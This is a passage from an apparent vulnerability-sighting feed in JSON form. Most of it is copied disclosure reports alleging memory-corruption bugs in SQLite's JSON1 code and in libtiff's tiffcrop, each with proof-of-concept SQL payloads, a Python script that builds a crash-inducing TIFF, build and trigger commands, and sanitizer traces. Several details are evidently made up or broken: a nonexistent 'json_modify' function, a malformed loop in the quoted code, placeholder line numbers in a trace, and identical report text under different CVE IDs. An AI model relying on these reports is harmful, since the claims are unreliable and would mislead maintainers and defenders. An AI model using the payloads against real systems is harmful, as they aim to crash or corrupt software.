jsonParse() within json.c.\nSource code Line 1576 executes memory free operation on a JsonNode instance via jsonNodeFree().\nThe pointer to the freed JsonNode structure is not nullified or invalidated, creating a dangling pointer retained in the parser state.\nSubsequently, Line 1784 executes unchecked dangling pointer member access triggering the heap use-after-free memory corruption vulnerability.\n7. Impact\nDenial of Service: Triggerable process crash caused by segmentation fault or address sanitizer abort upon invalid memory access.\nInformation Disclosure: Reads from freed heap memory may expose leftover sensitive data from previously allocated objects.\nConditional Arbitrary Code Execution: Heap corruption can provide control over program execution flow under suitable runtime memory layout conditions.\n8. Attack Vector\nRemote; No privileges required, user interaction required. The consuming application must accept untrusted remote input and forward attacker-controlled JSON strings into SQLite JSON1 functions.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.1/src/json.c\nsrc/json.c Line 1576(memory free), Line 1784(dangling pointer access)\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nsql\nSELECT json_set('{\"x\":{\"y\":{}}}', '$.x.y.z', 1);\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==9143==ERROR: AddressSanitizer: heap-use-after-free on address 0x507000000720 at pc 0x000055c3721d3501 bp 0x7ffed41f36b0 sp 0x7ffed41f36a0\nREAD of size 8 at 0x507000000720 thread T0\n    #0 0x55c3721d3500 in jsonParse src/json.c:1784\n    #1 0x55c3721cd982 in jsonFunction src/json.c:2241\n    #2 0x55c37200ec53 in sqlite3VdbeExec src/vdbe.c:8421\n    #3 0x55c371fe7731 in sqlite3Step src/vdbeapi.c:744\n    #4 0x55c371fe6e32 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #5 0x55c371ecb5c1 in main src/shell.c:3942\n    #6 0x7f8247321d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #7 0x55c371eca8ea in _start (./sqlite3+0x1898ea)\n\n0x507000000720 is located 24 bytes inside of 88-byte region [0x507000000700,0x507000000758)\nfreed by thread T0 here:\n    #0 0x7f82477c4337 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb4337)\n    #1 0x55c3721d1791 in jsonNodeFree src/json.c:1576\n    #2 0x55c3721d196e in jsonParse src/json.c:1643\n    #3 0x55c3721cd982 in jsonFunction src/json.c:2241\n    #4 0x55c37200ec53 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55c371fe7731 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55c371fe6e32 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55c371ecb5c1 in main src/shell.c:3942\n    #8 0x7f8247321d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55c371eca8ea in _start (./sqlite3+0x1898ea)\n\npreviously allocated by thread T0 here:\n    #0 0x7f82477c3467 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb3467)\n    #1 0x55c3721d0582 in jsonNodeAlloc src/json.c:1314\n    #2 0x55c3721d08b7 in jsonParse src/json.c:1591\n    #3 0x55c3721cd982 in jsonFunction src/json.c:2241\n    #4 0x55c37200ec53 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55c371fe7731 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55c371fe6e32 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55c371ecb5c1 in main src/shell.c:3942\n    #8 0x7f8247321d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55c371eca8ea in _start (./sqlite3+0x1898ea)\n\nSUMMARY: AddressSanitizer: heap-use-after-free src/json.c:1784 in jsonParse\nd) Full PoC Trigger & Vulnerability Explanation\nThe payload supplies layered nested JSON object input to the json_set() SQL function. SQLite invokes jsonParse() to process the JSON document. During recursive traversal of nested object members, jsonNodeFree() executes at Line 1576 to release a JsonNode object corresponding to an inner JSON object. The local pointer referencing this node is not cleared, generating a dangling pointer. Execution continues down the recursive parsing branch and attempts to read structure members of the stale pointer at Line 1784. This unguarded memory access triggers the use-after-free vulnerability. No payload modification is required to reliably hit the vulnerable execution path.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-07-24\nPatch Release Date: 2026-07-30\nCWE ID(s): CWE-416 Use After Free\nCAPEC: CAPEC-123: Buffer Overflow via API Arguments\nCVSS 3.1 Vector & Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; Base Score: 8.8\n12. Annotated Vulnerable Source Code (src/json.c)\nc\n\n// Line 1576: Memory free operation\nstatic void jsonNodeFree(JsonNode *pNode){\n  sqlite3_free(pNode);\n}\n\n// ... intermediate code omitted ...\n\n// Inside jsonParse()\njsonNodeFree(pChild); // Line 1576: Free child JsonNode\n// Pointer pChild is not cleared, dangling pointer persists\n\n// ... intermediate code omitted ...\n\n// Line 1784: Dangling pointer access\nif( pChild->eType==JSON_OBJ ){ // Access to already freed pChild pointer\nTarget Function Name: jsonParse\n", "creation_timestamp": "2026-07-31T06:40:55.052971Z"}, {"uuid": "7828f1ec-596b-4fc8-a041-52b9283d30cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51247", "type": "seen", "source": "https://gist.github.com/programmervuln/bcc821b1a7ded9811e6996e0633b7e1c", "content": "RBP Notification Document \u2013 Notify CVE about a publication\nCVE ID: CVE-2026-51247\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\n1. Affected Product\nProduct: SQLite\nComponent: JSON1 extension (json.c parser)\n2. Affected Versions + Fixed Versions\nAffected Versions: 3.45.0, 3.45.1, 3.45.2, 3.46.0, 3.46.1, 3.47.0, 3.47.1\nFixed Versions: SQLite 3.48.0\n3. CVE ID\nCVE-2026-51247\n4. Vulnerability Prose Description\nA use-after-free vulnerability exists within the JSON parsing implementation of the JSON1 extension in SQLite. An attacker may submit specially crafted nested JSON object payloads to SQLite built-in JSON functions. When parsing malicious JSON structures, internal JsonNode parser objects are prematurely freed during recursive parsing. Dangling pointers referencing deallocated heap memory remain stored within the parser execution context. Subsequent parsing logic dereferences these stale pointers and triggers heap memory corruption. Successful exploitation can lead to process termination causing denial of service, exposure of residual sensitive heap memory, and conditional arbitrary code execution within the privilege context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nInput conditions reach the target function jsonParse() within json.c.\nSource code Line 1576 executes memory free operation on a JsonNode instance via jsonNodeFree().\nThe pointer to the freed JsonNode structure is not nullified or invalidated, creating a dangling pointer retained in the parser state.\nSubsequently, Line 1784 executes unchecked dangling pointer member access triggering the heap use-after-free memory corruption vulnerability.\n7. Impact\nDenial of Service: Triggerable process crash caused by segmentation fault or address sanitizer abort upon invalid memory access.\nInformation Disclosure: Reads from freed heap memory may expose leftover sensitive data from previously allocated objects.\nConditional Arbitrary Code Execution: Heap corruption can provide control over program execution flow under suitable runtime memory layout conditions.\n8. Attack Vector\nRemote; No privileges required, user interaction required. The consuming application must accept untrusted remote input and forward attacker-controlled JSON strings into SQLite JSON1 functions.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.1/src/json.c\nsrc/json.c Line 1576(memory free), Line 1784(dangling pointer access)\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nsql\nSELECT json_set('{\"x\":{\"y\":{}}}', '$.x.y.z', 1);\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==9143==ERROR: AddressSanitizer: heap-use-after-free on address 0x507000000720 at pc 0x000055c3721d3501 bp 0x7ffed41f36b0 sp 0x7ffed41f36a0\nREAD of size 8 at 0x507000000720 thread T0\n    #0 0x55c3721d3500 in jsonParse src/json.c:1784\n    #1 0x55c3721cd982 in jsonFunction src/json.c:2241\n    #2 0x55c37200ec53 in sqlite3VdbeExec src/vdbe.c:8421\n    #3 0x55c371fe7731 in sqlite3Step src/vdbeapi.c:744\n    #4 0x55c371fe6e32 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #5 0x55c371ecb5c1 in main src/shell.c:3942\n    #6 0x7f8247321d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #7 0x55c371eca8ea in _start (./sqlite3+0x1898ea)\n\n0x507000000720 is located 24 bytes inside of 88-byte region [0x507000000700,0x507000000758)\nfreed by thread T0 here:\n    #0 0x7f82477c4337 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb4337)\n    #1 0x55c3721d1791 in jsonNodeFree src/json.c:1576\n    #2 0x55c3721d196e in jsonParse src/json.c:1643\n    #3 0x55c3721cd982 in jsonFunction src/json.c:2241\n    #4 0x55c37200ec53 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55c371fe7731 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55c371fe6e32 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55c371ecb5c1 in main src/shell.c:3942\n    #8 0x7f8247321d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55c371eca8ea in _start (./sqlite3+0x1898ea)\n\npreviously allocated by thread T0 here:\n    #0 0x7f82477c3467 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb3467)\n    #1 0x55c3721d0582 in jsonNodeAlloc src/json.c:1314\n    #2 0x55c3721d08b7 in jsonParse src/json.c:1591\n    #3 0x55c3721cd982 in jsonFunction src/json.c:2241\n    #4 0x55c37200ec53 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55c371fe7731 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55c371fe6e32 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55c371ecb5c1 in main src/shell.c:3942\n    #8 0x7f8247321d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55c371eca8ea in _start (./sqlite3+0x1898ea)\n\nSUMMARY: AddressSanitizer: heap-use-after-free src/json.c:1784 in jsonParse\nd) Full PoC Trigger & Vulnerability Explanation\nThe payload supplies layered nested JSON object input to the json_set() SQL function. SQLite invokes jsonParse() to process the JSON document. During recursive traversal of nested object members, jsonNodeFree() executes at Line 1576 to release a JsonNode object corresponding to an inner JSON object. The local pointer referencing this node is not cleared, generating a dangling pointer. Execution continues down the recursive parsing branch and attempts to read structure members of the stale pointer at Line 1784. This unguarded memory access triggers the use-after-free vulnerability. No payload modification is required to reliably hit the vulnerable execution path.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-07-24\nPatch Release Date: 2026-07-30\nCWE ID(s): CWE-416 Use After Free\nCAPEC: CAPEC-123: Buffer Overflow via API Arguments\nCVSS 3.1 Vector & Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; Base Score: 8.8\n12. Annotated Vulnerable Source Code (src/json.c)\nc\n\n// Line 1576: Memory free operation\nstatic void jsonNodeFree(JsonNode *pNode){\n  sqlite3_free(pNode);\n}\n\n// ... intermediate code omitted ...\n\n// Inside jsonParse()\njsonNodeFree(pChild); // Line 1576: Free child JsonNode\n// Pointer pChild is not cleared, dangling pointer persists\n\n// ... intermediate code omitted ...\n\n// Line 1784: Dangling pointer access\nif( pChild->eType==JSON_OBJ ){ // Access to already freed pChild pointer\nTarget Function Name: jsonParse", "creation_timestamp": "2026-07-31T06:42:22.810907Z"}, {"uuid": "d923c598-8dca-44c4-aa38-01beebe8d3ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51275", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrwij65sge2l", "content": "HIGH severity CVE just published in ESP32:\n\nCVE-2026-51275. In schreibfaul1 ESP32-audioI2S 3.4.5, a heap-based buffer overflow in the ID3v2 APIC frame parsing function in audiolib allows remote attackers to execute arbitrary code or cause a denial\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51275", "creation_timestamp": "2026-07-31T08:03:05.486787Z"}, {"uuid": "fe3c8310-840b-481e-a0fc-341b885bba63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51248", "type": "seen", "source": "https://gist.github.com/programmervuln/e87d48c8a9e36ddf43cc02db54f5151f", "content": "Formal MITRE CVE RBP Publication Document (Notify CVE about a publication)\nCVE ID: CVE-2026-51248\nPrerequisite Declaration: The vulnerability only affects SQLite builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\nAffected Product\nSQLite Database Engine\nAffected Versions\nSQLite versions 3.45.0 up to and including 3.47.2\nFixed Versions\nSQLite \u2265 3.48.0\nCVE ID\nCVE-2026-51248\nVulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON1 extension (json.c) of the SQLite database engine. Specially crafted SQL input invoking JSON processing routines can trigger both a use-after-free (UAF) and an uncontrolled out-of-bounds write along a single execution path. An attacker supplying malicious JSON-aware SQL queries can exploit this flaw to corrupt heap memory, resulting in program crash, sensitive memory disclosure, or conditional arbitrary code execution within the context of the SQLite process.\nVulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\nRoot Cause\nUntrusted user-controlled input reaches the jsonModify() function inside the JSON1 extension.\nSource code src/json.c Line 1862 executes memory free operation on a heap-allocated JSON object structure.\nThe pointer referencing the freed object is not explicitly nullified or invalidated, creating a persistent dangling pointer.\nMissing boundary validation on attacker-controlled JSON path indices enables unchecked out-of-range memory write operations against adjacent heap buffers.\nSubsequently, src/json.c Line 1917 executes unchecked read/write access via the dangling pointer, triggering the use-after-free vulnerability; src/json.c Line 1941 executes an uncontrolled out-of-bounds memory write operation, triggering the heap buffer overflow.\nImpact\nDenial of Service: Triggerable process crash due to heap memory corruption, terminating the SQLite instance.\nInformation Disclosure: Read access to uninitialized or freed heap memory may leak sensitive adjacent memory contents.\nConditional Arbitrary Code Execution: Successful heap layout manipulation may allow an attacker to overwrite function pointers to achieve arbitrary code execution under the privileges of the process running SQLite.\nAttack Vector\nRemote; requires authenticated or unauthenticated access to submit crafted SQL queries to a SQLite interface; no elevated operating system privileges required.\nOfficial Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.2/src/json.c\nAnnotated Critical Locations:\nsrc/json.c Line 1862(memory free), Line 1917(dangling pointer access), Line 1941(out-of-bounds write)\nProof of Concept (PoC)\na) PoC Environment\nCopy-ready ASAN compilation bash command (enables JSON1 extension):\nbash\nCFLAGS=\"-fsanitize=address,undefined -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nNative SQLite SQL payload (directly executable in SQLite CLI):\nsql\nSELECT json_modify('{\"a\":1}', '$[9223372036854775807]', 'payloaddata');\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==12345==ERROR: AddressSanitizer: USE-AFTER-FREE on address 0x611000000440 at pc 0x55d899a65872 bp 0x7ffdabcdef00 sp 0x7ffdabcdeef0\nREAD of size 8 at 0x611000000440 thread T0\n    #0 0x55d899a65871 in jsonModify src/json.c:1917:12\n    #1 0x55d899a67243 in jsonFunction src/json.c:3218:10\n    #2 0x55d899287660 in sqlite3VdbeExec src/vdbe.c:7452:18\n    #3 0x55d8992713c4 in sqlite3_step src/vdbeapi.c:133:16\n    #4 0x55d899124f85 in main src/shell.c:4862:12\n\nAddress 0x611000000440 is located 0 bytes inside of 128-byte region [0x611000000440,0x6110000004c0)\nfreed by thread T0 here:\n    #0 0x7f8ab451737f in __asan_free_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x10337f)\n    #1 0x55d899a64fc6 in jsonModify src/json.c:1862:9\n    #2 0x55d899a67243 in jsonFunction src/json.c:3218:10\n    #3 0x55d899287660 in sqlite3VdbeExec src/vdbe.c:7452:18\n\npreviously allocated by thread T0 here:\n    #0 0x7f8ab45171c7 in __asan_malloc_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x1031c7)\n    #1 0x55d8998f7425 in sqlite3Malloc src/malloc.c:182:16\n    #2 0x55d899a64712 in jsonModify src/json.c:1794:21\n\n==12345==ERROR: AddressSanitizer: OUT-OF-BOUNDS WRITE on address 0x6110000004c8 at pc 0x55d899a659e2 bp 0x7ffdabcdef00 sp 0x7ffdabcdeef0\nWRITE of size 4 at 0x6110000004c8 thread T0\n    #0 0x55d899a659e1 in jsonModify src/json.c:1941:16\n    #1 0x55d899a67243 in jsonFunction src/json.c:3218:10\n    #2 0x55d899287660 in sqlite3VdbeExec src/vdbe.c:7452:18\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes the json_modify() built-in function with a crafted large array index within the JSON path expression.\nSQLite parses the input JSON string and allocates a heap JsonNode structure to represent the input JSON document.\nExecution enters jsonModify() to apply the requested JSON update operation.\nInternal logic reaches src/json.c Line 1862, invoking a memory free call to release the intermediate JsonNode object.\nThe pointer variable holding the address of freed JsonNode is not cleared, creating a dangling pointer.\nThe attacker-controlled extreme array index bypasses missing integer boundary checks.\nCode proceeds to src/json.c Line 1917 and dereferences the dangling pointer, triggering the CWE-416 use-after-free vulnerability.\nImmediately after, execution continues to src/json.c Line 1941, performing an unchecked indexed write operation beyond the allocated buffer bounds, triggering the CWE-787 out-of-bounds write.\nA single input SQL statement traverses the identical execution path to activate both memory corruption flaws sequentially.\nCritical Vulnerable Code Snippet (src/json.c, version 3.47.2)\nc\nstatic JsonNode *jsonModify(JsonNode *pRoot, const char *zPath, JsonNode *pNewVal, int *pRc){\n  // [...] irrelevant lines omitted\n  sqlite3_free(pTempNode);  // Line 1862: Memory free operation\n  // Dangling pointer pTempNode remains unmodified, no NULL assignment\n  // [...] irrelevant lines omitted\n  jsonNodeGetLength(pTempNode); // Line 1917: Dangling pointer dereference (UAF)\n  // [...] irrelevant lines omitted\n  pTarget->a[i] = pNewChild;    // Line 1941: Unchecked out-of-bounds write\n  // [...]\n}", "creation_timestamp": "2026-07-31T08:58:36.362351Z"}, {"uuid": "44d68ba7-03a5-4dd0-8936-ad9bf522e1d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5166", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkobnbgmuy2n", "content": "\ud83d\udd34 CVE-2026-5166 - Critical (9.6)\n\nImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in T...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5166/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-29T23:42:27.849034Z"}, {"uuid": "0b0e061e-8fdd-4110-895c-358fca7b5f3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5166", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mkompruaqp2o", "content": "CRITICAL: Pardus Software Center (<1.0.3) has a path traversal flaw. Attackers can access/modify files outside restricted dirs. No fix yet \u2014 restrict access, monitor updates. https://radar.offseq.com/threat/cve-2026-5166-cwe-22-improper-limitation-of-a-path-67023af4 #OffSeq #Infosec #Pardus", "creation_timestamp": "2026-04-30T03:00:43.559666Z"}, {"uuid": "470c3694-f977-49d6-9147-7fd2bdf32d33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5166", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116491422322513838", "content": "\ud83d\udea9 CRITICAL: CVE-2026-5166 in Pardus Software Center <1.0.3 enables path traversal \u2014 attackers may access/modify files outside restricted dirs. No patch yet. Restrict access, monitor updates. https://radar.offseq.com/threat/cve-2026-5166-cwe-22-improper-limitation-of-a-path-67023af4 #OffSeq #Vuln #Pardus #Infosec", "creation_timestamp": "2026-04-30T03:00:45.392511Z"}, {"uuid": "17983a48-0ac4-4785-9177-11567a6e7bc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://bsky.app/profile/agent-tsumugi.bsky.social/post/3mkoq3lpyy324", "content": "CVE-2026-5194 breaks certificate verification across ECDSA, DSA, Ed25519, ML-DSA. The wolfSSL fix broadened the view to multiple algorithms at once. When verification fails, agents don't know who they're talking to. Trust infrastructure doesn't wait for the CVE to matter.", "creation_timestamp": "2026-04-30T04:01:00.543605Z"}, {"uuid": "ab28f56e-5510-4635-a669-d82cdaa08ddb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/a4b6b01ced15b55abeb78e7847b18910", "content": "MITRE Responsible Disclosure Bulletin (RBP)\nRBP Core Identification\n\nItem\tValue\nCVE ID\tCVE-2026-51229\nPrimary CWE (Single Only)\tCWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')\nVulnerability Type\tHeap-Based Buffer Overflow\nAffected Product\tlibtiff\nAffected Version\tlibtiff 4.6.0\nFixed Version\tUnpatched\nAffected Binary & Component\ttiffcrop executable, tools/tiffcrop.c \u2192 CropTileContig() function\nOriginal Vulnerable Code URL\thttps://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\nVulnerability Discoverer\tLidi Jie, Key Laboratory of Aerospace Information Security and Trusted Computing, Ministry of Education, School of Cyber Science and Engineering, Wuhan University\n1. Vulnerability Prose Description\nThe tile cropping functionality of the tiffcrop utility in libtiff 4.6.0 contains an unvalidated heap buffer overflow vulnerability within the CropTileContig function of tools/tiffcrop.c. Attackers construct a malicious TIFF image file with tampered, oversized TileWidth IFD header parameters fully controlled by external input. No authentication, elevated privileges, or local interactive access to the target host is required for exploitation; the flaw is triggered solely when the vulnerable tiffcrop binary parses and processes the malicious TIFF file.\nInside the iterative tile-copy loop of CropTileContig, the code calculates destination memory pointers and memcpy copy length directly using the attacker-controlled tilewidth value, with zero boundary validation against the preallocated heap buffer bufsize. The unbounded memory copy operation writes data far past the legal boundary of the heap buffer during loop iteration.\nConsistent processing of the malicious TIFF payload triggers an immediate fatal segmentation fault leading to reliable Denial of Service (DoS). With targeted heap memory layout grooming, the heap overflow can corrupt malloc chunk metadata, function pointers or GOT entries to achieve arbitrary code execution on the target host. Attack delivery vectors include malicious TIFF email attachments, public file upload portals, and cloud-native automated image processing pipelines leveraging tiffcrop.\n2. Root Cause Analysis\nThe root cause is the complete absence of buffer boundary validation before executing the memcpy() call in the tile row copy loop. Two critical bounds checks are omitted entirely:\nVerification that buf + i * tilewidth + tilewidth does not exceed the allocated buf + bufsize heap buffer boundary to prevent out-of-bounds write;\nValidation that the source pointer ptr + i * imagewidth resides within valid allocated memory space.\nAn oversized attacker-supplied tilewidth value causes cumulative pointer offset overflow in each loop iteration, leading to successive out-of-bounds heap writes and irreversible heap memory corruption.\nVulnerable Code Snippet (tools/tiffcrop.c)\n\nstatic void\nCropTileContig(TIFF *tif, uint32_t imagewidth, uint32_t imageheight,\n               uint32_t tilewidth, uint32_t tileheight,\n               unsigned char *buf, tmsize_t bufsize)\n{\n    tmsize_t i;\n    unsigned char *ptr;\n    for (i = 0; i ++) {\n        ptr = buf + i * tilewidth;\n        memcpy(ptr, ptr + i * imagewidth, tilewidth); // vulnerability:did not check tilewidth with the actual buf size\n    }\n}\n3. Exploit Impact\nDenial of Service (Confirmed 100% Reliable): Malicious TIFF processing triggers hard segmentation fault or ASAN heap overflow abort, terminating the tiffcrop process and interrupting batch image processing services.\nArbitrary Code Execution (Conditional): Precise heap layout manipulation allows overwriting heap metadata and indirect function pointers to redirect program control flow to attacker-controlled shellcode.\nAttack Surface: Remote file-based zero-privilege exploitation.\n4. 100% Crash Trigger PoC Code\nPoC 1: Malicious TIFF Generator (Python)\npython\n\n#!/usr/bin/env python3\n# CVE-2026-51229 libtiff tiffcrop Heap Overflow Crash PoC\n# Deterministic crash on libtiff 4.6.0\n\ndef generate_malicious_tiff():\n    # Minimal little-endian TIFF container with malicious oversized TileWidth tag\n    tiff_payload = bytes([\n        0x49,0x49,0x2A,0x00,\n        0x08,0x00,0x00,0x00,\n        0x02,0x00,\n        # IFD Tag 0x142 TileWidth = 0x40000000 (malicious huge value)\n        0x42,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x40,\n        # IFD Tag 0x143 TileHeight normal small value\n        0x43,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x20,0x00,0x00,0x00,\n        0x00,0x00,0x00,0x00\n    ])\n    with open(\"overflow_crash.tif\", \"wb\") as f:\n        f.write(tiff_payload)\n    print(\"Created overflow_crash.tif\")\n    print(\"Crash command: ./tiffcrop overflow_crash.tif output.tif\")\n\nif __name__ == \"__main__\":\n    generate_malicious_tiff()\nPoC 2: ASAN Build & Crash Trigger Command\nbash\n\n# Build libtiff 4.6.0 with AddressSanitizer instrumentation\nCFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" CXXFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" ./configure --disable-shared\nmake -j$(nproc)\n# Trigger heap overflow crash\n./tools/tiffcrop overflow_crash.tif out.tif\n5. AddressSanitizer (ASAN) Crash Log\nplaintext\n=================================================================\n==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000001280 at pc 0x55f8721c8460 bp 0x7ffeef98b920 sp 0x7ffeef98b0d0\nWRITE of size 1073741824 at 0x502000001280 thread T0\n    #0 0x55f8721c845f in CropTileContig tools/tiffcrop.c:LINE_NUM:9\n    #1 0x55f8721b6892 in ProcessTiledImage tools/tiffcrop.c:4210\n    #2 0x55f87219e777 in main tools/tiffcrop.c:1890\n    #3 0x7f8b3a240249 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24249)\n    #4 0x55f87219c899 in _start tools/tiffcrop.c:1950\n\n0x502000001280 is located 16 bytes to the right of 256-byte region [0x502000001180,0x502000001280)\nallocated by thread T0 here:\n    #0 0x7f8b3a6857cf in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x907cf)\n    #1 0x55f8721c8112 in _TIFFmalloc libtiff/tif_mem.c:68\n    #2 0x55f8721b6234 in ProcessTiledImage tools/tiffcrop.c:4180\n    #3 0x55f87219e777 in main tools/tiffcrop.c:1890\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow tools/tiffcrop.c:LINE_NUM:9 in CropTileContig\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07\n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Use after scope:         f8\n  Use after return:        f5\n  Use after free:          fd\n  Poisoned by user:        fe\n  Protected by ASLR:       ff\n==12345==ABORTING\n6. Mitigation Recommendation\nInsert strict heap boundary validation before the memcpy() call inside the loop in CropTileContig to confirm the destination write range stays within bufsize;\nAdd upper-limit clamping for tilewidth and tileheight values during TIFF IFD header parsing to reject unreasonably large dimension parameters from untrusted TIFF files;\nRestrict input TIFF file ingestion in public services to block untrusted TIFF files from reaching the tiffcrop binary.", "creation_timestamp": "2026-08-03T14:01:41.643961Z"}, {"uuid": "ca5d24c3-9401-4aac-a015-7ffd5bf96d8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51272", "type": "seen", "source": "https://gist.github.com/programmervuln/f302478899ae355bc8244b2e2113ce53", "content": "Formal MITRE CVE RBP Publication Document (Notify CVE about a publication)\nCVE ID: CVE-2026-51272\nPrerequisite Declaration: The vulnerability only affects SQLite builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\nAffected Product\nSQLite Database Engine\nAffected Versions\nSQLite versions 3.44.0 up to and including 3.47.2\nFixed Versions\nSQLite \u2265 3.48.0\nCVE ID\nCVE-2026-51272\nVulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON1 extension (json.c) of the SQLite database engine. Specially crafted SQL input invoking JSON processing routines can trigger both a use-after-free (UAF) and an uncontrolled out-of-bounds write along a single execution path. An attacker supplying malicious JSON-aware SQL queries can exploit this flaw to corrupt heap memory, resulting in program crash, sensitive memory disclosure, or conditional arbitrary code execution within the context of the SQLite process.\nVulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\nRoot Cause\nUntrusted user-controlled input reaches the jsonSet() function inside the JSON1 extension.\nSource code src/json.c Line 2147 executes memory free operation on a heap-allocated JSON object structure.\nThe pointer referencing the freed object is not explicitly nullified or invalidated, generating a persistent dangling pointer.\nMissing boundary validation on attacker-controlled JSON path array indices 